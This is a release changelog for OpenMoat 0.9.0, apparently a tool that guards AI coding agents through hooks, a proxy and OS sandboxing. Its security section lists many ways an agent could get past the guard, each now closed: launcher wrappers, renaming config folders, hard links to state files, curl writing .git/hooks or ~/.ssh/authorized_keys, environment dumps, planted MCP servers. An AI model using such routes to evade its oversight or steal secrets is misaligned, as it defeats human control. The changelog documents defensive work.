OpenMoat 0.9.0
Released 2026-10-22. GitHub release v0.9.0.
Security
Section titled “Security”- The command line
flock -c/--commandruns, and the commands of launchers that start their arguments (taskset,chrt,numactl,unshare,nsenter,prlimit,setpriv,chpst,cgexec,firejail,sandbox-exec,arch,strace,ltrace,valgrind,catchsegv,gdb --args,faketime,torsocks,proxychains,systemd-inhibit,busybox,toybox), are decided as commands of their own, so a secret read, a hook-settings write orrm -rf ~inside one is denied as it is on its own (#633). - The person-only
openmoatcommands are also denied whensystemd-run,daemonize,start-stop-daemon,launchctl submitor anatorbatchjob starts them;atandbatchask likecrontab(persistence), and the job they read from stdin is decided as a command line (#633). - Renaming or removing a repository’s
.githubor.github/copilotfolder is denied (agent-folders, hook only), and the same for.github/hooks,.piand.pi/extensionsasks (runs-later): a rename away and back edited the Copilot settings, hooks or pi files inside under another name. This also denies an agent’smkdir .githuborrm -r .github; writing files inside.githubis unchanged (#633). - Stopping, disabling, masking or killing the proxy service (
systemctl --user stop moat-proxy,launchctl bootout …/dev.openmoat.proxy, and the like) is denied likeopenmoat proxy uninstall(kernel-self), andpkillorkillallnamingmoatasks (stops-openmoat) (#633). lnoptions are read aslnreads them:ln -S -s,ln -t -sand an-safter the first operand (ln SRC DIR -s, a file to BSDln) make hard links, decided as a write of the linked file (#633).- Copies, moves and links by the GNU tools installed with a
gin front (gcp,gmv,gln,grm, …), bybusyboxandtoyboxapplets, macOSditto,pax -rwandcpioare decided as writes of what they write, ascp,mvandlnare (#633). - A person-only
openmoatcommand run through a link under another name, or a name on the search path, that reaches the binary the policy lock records is denied bykernel-selflikeopenmoatitself, and so is any spelling ofopenmoatin another case where file names ignore case (OpenMoat allowon macOS and Windows) (#633). - The person-only commands also refuse to run when started under a name other than
openmoatormoat, check the lock in~/.moatas well as the oneMOAT_HOMEnames, and refuse when a lock exists but cannot be read; a link toopenmoatunder another name no longer runs them (#633). openmoat mcp acceptshows a server’s tool names, titles and descriptions with escape sequences and bidirectional characters replaced by?, so a tool cannot redraw the changes you are asked to accept (#633).- The text OpenMoat prints from agents, repositories and servers (the
openmoat trustandopenmoat allow --lastquestions included) shows invisible bidirectional and zero-width characters (U+202E, U+2066, U+200B, U+FEFF, …) as?, so a rule cannot be shown in another order than it is read (#633). openmoat mcp proxyholds a tool listed twice under one name when any of its entries differs from the accepted pin, whatever their order; drops a listed tool whosenameis not a string; and pins every field of a tool besides the named ones (_meta,icons,execution, …), so a tool that has such fields is held once after upgrading (#633).- A
netorfetchallow writtenhost:port(*:8443) no longer also matches a host without a port, so it opens no IPv6 address whose text ends in:8443in the hook or on ports 443 and 80 in the proxy (#633). - A
plain_http: truesecret is no longer handed to Claude Code’s own broker, which injected it on every port of its host, and OpenMoat no longer sets Claude Code’sallowPlaintextInject: such a secret goes throughopenmoat proxyonly, on its one port. Inside Claude Code’s sandbox it works only whilesandbox.proxy_portroutes traffic throughopenmoat proxy(#633). - Repository policy signatures are made and checked in their own namespace,
openmoat-repo-policy: a pack signed inopenmoat-policyby an earlier release is no longer a signed repository policy. This breaks every repository policy signature made before: sign the file again withssh-keygen -Y sign -n openmoat-repo-policy, and runopenmoat policy trust-keyagain for each key trusted before (#633). - A change to Claude Code’s
autoModesettings, whose rules decide which calls its auto mode runs unasked, is drift that denies every call untilopenmoat doctor --accept, instead of being decided through (#633). openmoat runkeeps commands from renaming away the folders that hold an agent’s configuration directly in the project (.github,.pi,.openclaw), which carried a hook written under the other name back past the protection: on macOS they cannot be created, renamed or removed underopenmoat run(create a missing.githuboutside it), and on Linux each existing one is bound onto itself, with the network namespace and with--isolate(#633).openmoat runon Linux, where the agent gets a network namespace, also makes the agents’ hook settings that exist directly in the project read-only for the session (.claude/settings.json,.claude/settings.local.json,.cursor/hooks.json,.codex/hooks.json,.gemini/settings.json,.github/copilot/settings.json,.copilot/hooks/), as on macOS; an agent inside can no longer save its own changes to them there (#633).openmoat runon macOS denies a file or folder created in another case than a deny rule names (.MCP.json,.Claude), which on a case-insensitive disk is the file the agent loads (#633).openmoat runon Linux without a network namespace also refuses a--writepath inside a treekernel-selfprotects whole (~/.codex/sessions) and every--writepath outside the project, which can hold another repository’s hook settings. This breaks--writeoutside the project there,~/.claude/projectsincluded: install bubblewrap and allow unprivileged user namespaces (#633).openmoat runon Linux refusessetns(joining an existing namespace), as it refuses creating one;nsenterand a container runtime’sexecfail inside (#633).- A tool OpenMoat does not map is checked for what its arguments name, for every host that hands it to OpenMoat (pi, OpenClaw, Gemini CLI, Cursor, GitHub Copilot CLI): every path and URL, by key or by its look at any depth, and every shell command under a key such as
command,cmdorscript. A pi extension’s tool reading~/.ssh/id_rsaran unchecked before, since pi runs a call OpenMoat makes no decision on; now it is denied. A tool whose arguments name a host to contact is denied by thenetdefault unless the host is allowed, and arguments nested deeper than 8 levels deny the call (#633). - Gemini CLI’s
run_shell_commanddir_pathand OpenClaw’sexecworkdirno longer decide which directory is the project: the command is checked after acdthere, and the project stays the session’s. A command writing a launch agent withdir_pathin~/Library/LaunchAgentswas allowed as a write in its own project (#633). - GitHub Copilot CLI’s
write_bashandwrite_powershellask (new ruleunchecked): the shell joins typed input to what came before, so a command split over two calls passed piece by piece. Abashcommand that leaves Copilot’s shell, which later calls reuse, in a directory OpenMoat cannot know (cd "$X",popd,eval) asks too (#633). - Gemini CLI’s
grep_searchandglobwithoutdir_path, and everyread_many_files, ask (unchecked): Gemini CLI then searches every workspace directory, and the hook names only the working directory.grep_search’sinclude_pattern(and the olderinclude) is checked for where it climbs to. This adds a Gemini CLI confirmation for such searches (#633). - A glob pattern whose brace or bracket group holds a separator, a
..or another brace group ({x/../..,y}) asks (unchecked) in Claude Code’sGlob, Gemini CLI’sglobandread_many_files, pi’sfindand Copilot CLI’sglob: it may climb further than OpenMoat works out (#633). - Writes to Gemini CLI’s policy files (
.gemini/policies/,~/.gemini/policies/), custom commands (.gemini/commands/) and subagents (.gemini/agents/), a repository’s Copilot CLI agents (.github/agents/) and Claude Code’s subagents, skills and slash commands (.claude/agents/,.claude/skills/,.claude/commands/) ask (runs-later), in a project too, and after untrusted content session taint protects.github/agents/. Writing a project’s Claude Code skill or command, allowed before, now asks (#633). - The person-only
openmoatcommands are also denied undersetsidandflock, andopenmoat proxy installandopenmoat proxy uninstallare person-only likeuninstall: a service installed or removed changes every later session (#626). - The person-only commands (all but
openmoat init) refuse to run from an executable other than theopenmoatthe policy lock records or itsmoatalias: a copy of the binary under another name, started where the agent is no longer among its parent processes, got past the guard’s check by name. Run them from the installedopenmoat, or runopenmoat initfrom the new binary to point the hooks at it (#626). - A search tool’s glob pattern whose
..segments climb out of the directory it searches, also after a wildcard (*/../..,{..,x}), is checked against the directory it reaches: Claude Code’sGlob, Gemini CLI’sglobandread_many_files, pi’sfindand Copilot CLI’sglob; a deny on reading that directory holds (#625). - Claude Code’s
ArtifactandArtifactDatatools are checked: every local file they upload to a claude.ai page is a read, likeSendFile’s, and each fileArtifactsaves without_diris a write;openmoat initadds them to the hook’s matcher (#625). openmoat proxyandopenmoat run’s proxy count ports: a host allowed by a pattern without a port is reached on 443 and 80 only, and any other port is refused (proxy-port) unless anetorfetchrule names it ashost:port(example.com:8443). This breaks connections to other ports that worked before,defaults: { net: allow }included: add ahost:portrule for each (#627).openmoat run’s proxy also refuses the hosts the project’s repository policy denies; the repository’s allow and ask rules are still not used there (#627).- A brokered secret with
plain_http: trueis injected into plain-HTTP requests to port 80 only, or to the port its newportfield names; a request to another port of the host keeps the placeholder. A secret on another port stops being injected until its entry setsport(#627). - In
openmoat run, a connection opened before the session read secret material is closed within about a second once the session’s taint refuses its host (#627). - The proxy resolves names as fully qualified (
name.), so the resolver tries no search domain first; on Windows names are resolved as before. A single-label name that resolved only through a search domain no longer resolves (#627). - On Linux,
openmoat run’s seccomp filter refusessendto,sendmsgandsendmmsgwithMSG_FASTOPEN(EPERM): TCP Fast Open connects without theconnect()Landlock’s port rule checks. A program that asks for TCP Fast Open gets an error (#627). - A private address an allow list excludes (
!10.0.0.9) is no longer opened by the list’s other address patterns when a name resolves to it (#627). openmoat runon macOS denies its commands writing an agent’s own configuration in the project (.claude/hooks/,.mcp.json,.cursor/mcp.json,.codex/config.toml,.github/hooks/,.github/mcp.json,.openclaw/extensions/,.pi/extensions/,.pi/mcp.json,.pi/settings.json), which the agent loads later outside the sandbox, also inside a--writepath; on Linux, where the agent gets a network namespace, the ones that exist directly in the project are read-only for the session. This also refuses such a write that the hook asked about and you allowed: change these files outsideopenmoat run. CI files and commit-hook managers’ files stay writable (#630).openmoat runlets commands open only/dev/ttyand the terminal it was started on, no longer every terminal of yours (/dev/ttys*on macOS,/dev/pts/*on Linux), so a script cannot read or write your other terminals. A program that opens a new pseudo-terminal inside (script,expect,node-pty) can now fail there (#630).openmoat runon Linux refuses the kernel keyrings (keyctl,add_key,request_key) and new namespaces (unshare,clonewith a namespace flag;clone3answersENOSYS, so the C library falls back toclone). Containers, bubblewrap and Chromium’s own sandbox no longer start inside (#630).openmoat runon Linux without a network namespace refuses to start when a--writepath holds whatkernel-selfprotects (OpenMoat’s state, an agent’s hook settings), naming the paths; it only warned before. This breaksopenmoat run --write ~/.claudeon Linux without bubblewrap: install bubblewrap and allow unprivileged user namespaces, or grant narrower paths (#630).rename,prename,perl-renameandfile-renamewrite every path they name, so renaming an agent’s directory with them is denied (kernel-self) likemv .claude xandmv x .claude. Claude Code’s generated settings add theEdit(./.cursor/hooks.json)-style rules on every OS, so on macOS its sandbox keeps the working directory’s.cursor,.codex,.copilotand.geminifrom being moved away and replaced by a command (#630).- Claude Code’s generated settings on Linux hide OpenMoat’s state directory whole from sandboxed commands: its sandbox skips a read deny that is missing when a command starts, so the audit log’s
-waland-shmfiles made while the command ran stayed readable. AMOAT_HOMEoutside the home is now hidden there, its policy included (#630). openmoat mcp proxyalso pins each tool’s title, output schema and annotations (readOnlyHint,destructiveHint), so a change to any of them holds the tool. After upgrading, every tool it pinned before is held once, even unchanged;openmoat statusandopenmoat doctorsay so, and oneopenmoat mcp acceptpins them again (#630).- A session grant for a command from
openmoat allowapplies only in the project it was approved in (the repository root, else the working directory);openmoat allow "<command>" --session …binds it to the current directory’s project or--project <dir>. Command grants made by an earlier release stop applying, andopenmoat statusandopenmoat allowedlist them for approving again (#630). openmoat trustshows the repository policy’s path, digest and rules first and asksTrust this file? [y/N]; without a yes it trusts nothing (#630).- A change of Claude Code’s
permissions.defaultModeto a mode that runs calls without asking (acceptEdits,auto,bypassPermissions, or any value other thandefault,plananddontAsk) and any change topermissions.additionalDirectoriesare drift that denies every call untilopenmoat doctor --accept, instead of being decided through (#630). - Making a hard link is decided as a write of the file it links to (
lnwithout-s,link,cp -l/--link,rsync --link-dest), so a hard link to OpenMoat’s state or an agent’s hook settings is denied bykernel-self(#630). - Policy packs are signed in their own namespace,
openmoat-pack, so a signed pack is never accepted as a signed repository policy, or the reverse. This breaks installing a pack signed inopenmoat-policy: sign it again withssh-keygen -Y sign -n openmoat-pack, and runopenmoat policy trust-keyagain for a key trusted before; installed packs and repository policy signatures keep working (#630). openmoat proxyrefuses a connection that reaches this machine through one of its other addresses (its LAN or public IPv4 or IPv6 address, where services listening on every interface answer as on loopback); it is closed before a byte is sent (proxy-address) (#619).openmoat proxychecks an IPv4-translated address (::ffff:0:a.b.c.d) as the IPv4 address it reaches, as it does NAT64 and IPv4-compatible ones, so::ffff:0:a9fe:a9feis refused as link-local (#619).openmoat proxyrefuses a plain-HTTPContent-Lengthover 2^31 - 1 (chunk sizes already were), aTransfer_EncodingorContent_Lengthheader (servers that pass headers on as CGI-style variables read it as the framing header), and a port with a sign (:+80) in the target orHost(#619).openmoat proxyno longer puts a brokered secret into a plain-HTTPTRACEorTRACK, whose answer would echo it to the agent (#619).- A plain-HTTP request whose chunked body turns malformed after the head is now recorded when the proxy cuts it, not only by its earlier
allowrow (#619). - The push check of
openmoat guardruns thegitthe search-path snapshotopenmoat initrecorded, by its absolute path, instead of the firstgiton the hook’s ownPATH: a relative entry there (.,node_modules/.bin) named a directory of the repository being pushed, and agitplaced in it ran outside every sandbox. Without such agitthe push asks (push-unchecked). Thessh-keygenthat checks a signed repository policy and policy packs, and thegitofopenmoat audit anchor, are likewise never taken from a relative entry of the recorded search path, where one planted in the project could pass any signature (#619). - Audit redaction masks the whole quoted value of a named credential, spaces included (
DB_PASSWORD="a b c",--password 'a b c',-u "user:pass word"); only its first word was masked before (#619). openmoat mcp proxyfilters every response that lists tools, whatever its id: a server that answered atools/listunder another spelling of the request’s id ("2"for2) had its changed or new tools shown to the agent (#619).openmoat mcp proxyno longer passes on a message from the agent host that it cannot read as JSON (a lone surrogate, an out-of-range number), which the server’s own parser might read as a tool call; it answers with a parse error (#619).openmoat initover an existing policy lock without a person at a terminal (anopenmoat init --yesdetached from the agent) no longer changes what the lock trusts: it refuses to point the hooks at a binary other than the one the lock records, and keeps each agent’s recorded configuration directory (hosts.json, which decides the MCP files the guard reads) and the search-path snapshot (environment.json) instead of taking them from its own environment (#619).- A state file missing when the lock is re-pinned (
trust.jsonbefore the firstopenmoat trust, orapprovals.json,policy.d/approved.yaml,hosts.jsonorenvironment.jsonafter a person accepted their deletion) is pinned as missing: one that appears there later is drift and denies every call (kernel-integrity), where the guard read it from disk unpinned, so a plantedapprovals.jsonorapproved.yamlcould allow calls (#619). openmoat runon Linux, where it gives the agent a network namespace, also covers each existing file or directory a deny rule names inside a read root or a--writepath, as--isolatedoes (hidden, or read-only for a write deny): with--write ~/.claudea command could rewrite~/.claude/settings.jsonand turn OpenMoat’s hooks off for later sessions, and a read root’s~/.cargo/credentials.tomlwas readable. Without a namespace,openmoat runnames these paths on every start (#619).- A
curlorwgetdecided as a fetch (ADR-035) has every file it writes checked: a clustered or attached output (curl -sSo .git/hooks/pre-commit,-oFILE,wget -qO FILE) was not seen as a write,--output-dirandwget -Pwere not joined to the name, andcurl -Oand a plainwgetwrote the URL’s file name unchecked. These arefs.writes now for everycurlandwget, socurl -q -sSo .git/hooks/pre-commit https://x.test/hasks andcurl -q --output-dir ~/.ssh -o authorized_keys https://x.test/kis denied (#618). curl -w/--write-out(whose%output{FILE}writes to a file since curl 8.3),-J/--remote-header-nameandwget --content-disposition(the server names the file), and-Oof a URL with no plain file name keep acurlorwgetnet, no longer a fetch (#618).- A
curlorwgetis a fetch only when it reads no configuration file of its own, which could add a body or an upload to the call:curlwith-q(or--disable) as its first argument,wgetwith--no-config --no-netrc. A plaincurl https://docs.rs/serdeisnetagain and denied for an unlisted host;curl -q https://docs.rs/serdedefers.shell-rcalso denies writing~/.curlrc,~/_curlrc,~/.config/curlrc,~/.wgetrcand~/.config/wget/; existing policies get it withopenmoat policy upgrade(#618). openmoat initover an existing policy lock, without a person at a terminal (anopenmoat init --yesa build script detached from the agent, which the parent-process check cannot see), no longer pins new or changed MCP server definitions: it lists them and leaves them foropenmoat mcp accept, so a server a cloned project planted in.mcp.jsonstays denied (mcp-server-changed). An unreadable lock is now refused without a terminal like a drifted one, pointing atopenmoat doctor --accept; a first install and a person’sinitare unchanged (#618).- The person-only commands also refuse when the Continue CLI (
cn), GitHub Copilot CLI (copilot), Gemini CLI (gemini) or, on macOS, a Cursor editor helper process (Cursor Helper,Cursor Helper (Plugin), …) is among their parent processes. Cursor’s editor agent runs commands in the same process tree as the editor’s own terminals, so on macOS those commands now refuse in a Cursor terminal too: run them in a terminal of your own (#618). openmoat run --isolateon Linux drops bubblewrap’s--disable-usernsonly when bubblewrap does not know the option (before 0.8); any other failure with it refuses instead of starting the agent able to create user namespaces of its own (#618).- A Claude Code
ConfigChangefor a project’s.claude/settings.jsonorsettings.local.jsonis also blocked (project-settings) when it setsenableAllProjectMcpServers,enabledMcpjsonServers(Claude Code starts those servers, which runs their commands) orextraKnownMarketplaces, or when the file’s bytes change between the check and the decision;openmoat doctorandopenmoat statuswarn about the new keys too (#618). - Inline interpreter code that reads the environment through
getattr(os, 'environ'),vars(os),os.__dict__,envorprintenvrun as a child (os.popen('env'),subprocess.run(['printenv', 'X'])), PowerShell’s[Environment]::GetEnvironmentVariable('X')andGetEnvironmentVariables(), itsEnv:drive (Get-ChildItem Env:,gci,ls,dir env:) or$Env:Xin any case is now anenv.readof the variable it names (env-secrets) or the whole environment (env-dump) (#618). - A write of a repository’s
.github/mcp.json, whose servers GitHub Copilot CLI starts in a trusted folder, asks (runs-later) and taints like the other agent configuration files (#623).
openmoat-hosts(library API):HostSpec::BASEandInstallSpec::BASE, the defaults a host spec takes for the fields it does not name, so a new optional field is added once rather than in every host;Host::EVERY, every host including those that speak another’s format (#631).- Connections the proxy refuses at accept for capacity (
503) are recorded asproxy-capacityrows: the first at once, then one row per 10 seconds with the count (#627). openmoat policy lintwarns about anetorfetchpattern whose port is not one (example.com:*,example.com:0,[::1]:8443), which matches nothing (#627).openmoat run --netns=requirerefuses to start on Linux where the agent cannot get a network namespace of its own, instead of restricting its network by port only; the default,--netns=auto, is unchanged (#618).openmoat sandbox showlists thehook_onlydeny groups (ADR-034), such asbuild-credentials, with their paths, as decided by the hook only and not in the OS sandbox (hook_onlyin--format json) (#618).- GitHub Copilot CLI is a supported agent (
openmoat init --hosts copilot-cli): OpenMoat’spreToolUsehook goes into a file of its own,~/.copilot/hooks/openmoat.json(or$COPILOT_HOME/hooks/), pinned by the lock, and checks shell commands, typed shell input, file reads and writes, patches, searches, fetches and MCP calls; anaskis Copilot’s own prompt. Copilot runs a call whose hook times out, soopenmoat initsetstimeoutSecto 600, far above the guard’s own 30 s deadline.kernel-selfdenies the agent writes to~/.copilotitself, its hooks directory,settings.jsonandconfig.json, and a repository’s.github/copilot/settings*.json, whosedisableAllHookswould turn every hook off; writing a repository’s.github/hooks/*.json,~/.copilot/mcp-config.json, plugins or custom agents asks (runs-later), andopenmoat doctorandopenmoat statuswarn about a repository that turns hooks off or carries hook files. No OS sandbox is configured for Copilot CLI; existing policies get the rules withopenmoat policy upgrade(#615). - pi (
@earendil-works/pi-coding-agent) is a supported agent, hook only:openmoat init --hosts piwrites OpenMoat’s extension to~/.pi/agent/extensions/openmoat.js(or underPI_CODING_AGENT_DIR) and pins it; itstool_callhandler runsopenmoat guard --host pifor every tool call, calls acodemodescript makes included, blocks on a deny and on any failure or a guard that does not answer in 45 s, and asks in pi’s own dialog (a deny in print and JSON mode).kernel-selfdenies the agent writes to the extension, pi’s agent directory,settings.jsonandtrust.json, andruns-laterasks for other pi extensions, pi’smcp.jsonand a project’s.pi/extensions/,.pi/mcp.jsonand.pi/settings.json; existing policies get these withopenmoat policy upgrade(#616). - Gemini CLI is a supported agent:
openmoat initadds aBeforeToolhook to~/.gemini/settings.json(or$GEMINI_CLI_HOME/.gemini) that checks its shell, file, search, web and MCP tools, sends anaskas Gemini CLI’s own confirmation, and is pinned by the lock;kernel-selfdenies the agent writing Gemini CLI’s user and projectsettings.json, itstrustedFolders.jsonand directory, and writing an extension asks (runs-later). When Gemini CLI saves a new model, theme, sign-in method or display setting in that file,openmoat doctorreports it and calls are still decided (the keys are listed in itsHostSpec); any other change to it, a hook,hooksConfig, an MCP server or atoolssetting among them, still denies every call untilopenmoat doctor --accept. Gemini CLI has no fail-closed setting, so a hook that times out lets the call run, and there is no OS sandbox from OpenMoat for it (#617). - The MCP servers of GitHub Copilot CLI (
~/.copilot/mcp-config.json, and a project’s.mcp.jsonand.github/mcp.json, wrapped inmcpServersor bare) and of pi (~/.pi/agent/mcp.json, a project’s.pi/mcp.json) are pinned like the other agents’: a changed or new one holds back its own tool calls (<server>-…for Copilot,mcp__<server>__…as pi spells it) untilopenmoat mcp accept;openmoat mcp wraphandles Copilot’slocalservers (#623). openmoat statusandopenmoat doctorreport an agent as not protected when its own settings turn OpenMoat’s hook off:disableAllHooksin Claude Code’s or Copilot’ssettings.json,[features] hooks = falsein Codex’sconfig.toml,hooksConfigin Gemini CLI’ssettings.json, anextensionsentry in pi’ssettings.jsonthat excludes OpenMoat’s extension (#623).openmoat statusandopenmoat doctorwarn about a project’s Gemini CLI.gemini/settings.json, pi.pi/settings.jsonand.pi/extensions/, Codex.codex/config.tomland.codex/hooks.json, and Cursor.cursor/hooks.jsonthat turn hooks off, add hooks or extensions, or start programs (#623).--helpofopenmoat init,uninstall,guard,bench,replayand the audit commands lists every host id--hosts/--hosttakes, and the shell completes them (#623).
Changed
Section titled “Changed”- Breaking Adding an agent is one line in the host list (
crates/openmoat-hosts/src/host.rs), which gives theHostvariant,Host::ALL,Host::EVERY, the--hostid list and the spec and adapter lookups; the README “Supported agents” table and the ARCHITECTURE “Host tool mapping” table are generated from each agent’s spec and checked bycargo test -p openmoat-hosts --test docs, which also fails when an adapter matches a tool its rows leave out;docs/ADDING_AN_AGENT.mdstarts with the smallest path that fits an agent and lists every file a new one needs.openmoat-hosts(library API, breaking):HostSpechas a new public fielddocs, of the new typesHostDocsandToolRow(#632). - Breaking Breaking for the library crates:
Action::UnknownToolgainsreads,writes,hostsandcommands,Action::McpToolgainscommands, andAction::Uncheckedis new (Action::unknown_toolandAction::uncheckedbuild them) (#633). openmoat statusandopenmoat doctorname every agent’s directory variable (COPILOT_HOME,PI_CODING_AGENT_DIR,GEMINI_CLI_HOMEand OpenClaw’s included) when a pinned hook file is not this shell’s (#633).- Breaking
openmoat initprints, after it writes or changes Codex’s hook entry, that Codex runs it only once you trust it in/hooks;openmoat doctorsays so on Codex’s protection line.openmoat-hosts(library API, breaking):InstallSpec::trust_step(#626). - Breaking
openmoat-hosts(library API, breaking):Host::CopilotCli,HookFormat::CopilotandProjectSettingsSpec::hook_dir;Host::ALLhas one more host (#615). - Breaking
openmoat-hosts(library API, breaking):Host::Pi,HookFormat::Pi;Host::ALLhas one more host (#616). - Breaking
openmoat-hosts(library API, breaking):Host::GeminiCli,HookFormat::Gemini,InstallSpec::relaxed_keys(RelaxedKey,KeyShape) andInstallSpec::variable_names_home;Host::ALLhas one more host (#617). - Breaking
openmoat-hosts(library API, breaking):McpSpec::project_files(a list) replacesproject_file,McpSpec::tool_names(McpToolNames),McpFile::InConfigDir,McpLayout::JsonOrBare;ProjectSettingsSpec::localis anOption,hook_diraHookDir, and it hasformat(SettingsFormat) anduser_file(#623). - Internal: named constants for limits, timeouts and file names; redundant comments removed; no behaviour change (#622).
- A
moatstarted through a symbolic link in another directory (~/bin/moat → …/bin/moat) finds theopenmoatbeside the file it links to; on macOS it looked only beside the link. The link’s own directory is still tried after it (#618). - Audit redaction keeps values that hold no credential and catches more that do: a name ending in
count,file,path,dir,name,id,len,length,size,typeorurl(token_count=,--token-file=,private_key_path=) keeps its value;-uwith a drive path oruid:gidoutside an HTTP client (python -u C:\x,docker run -u 1000:1000) is kept; prose afterBearerorBasic(bearer authentication) is kept; and a quoted key with a quoted value ({"token":"x"},'password': '…') is now masked (#618). openmoat policy upgradetakes, in the same run, a default addition it held back next to a line you changed, so the nextopenmoat policy upgrade --dry-runoffers only the lines you changed instead of one more change (#616).openmoat guardandopenmoat policy checkalso read each other pinned state file once per call: theopenmoat allowoverlay (policy.d/approved.yaml), installed policy packs (packs.json,policy.d/packs/),hosts.json,environment.json,approvals.jsonandtrust.jsonare parsed from the bytes whose digest matched the lock, and drift in a Claude Codesettings.jsonis sorted by the bytes found to differ, so a file rewritten after the check is never the one used. Files the lock does not pin are read as before (#614).- Docs: the host tool mapping in ARCHITECTURE lists GitHub Copilot CLI, pi and Gemini CLI; MOATBENCH lists every host it sends payloads as and their reply formats; POLICY lists every agent’s pinned MCP files; USAGE lists every host without an OS sandbox and every key of
openmoat status --format json; INSTALL, README and THREAT_MODEL say that Codex runs a new or changed hook only once a person trusts it in/hooks(#623).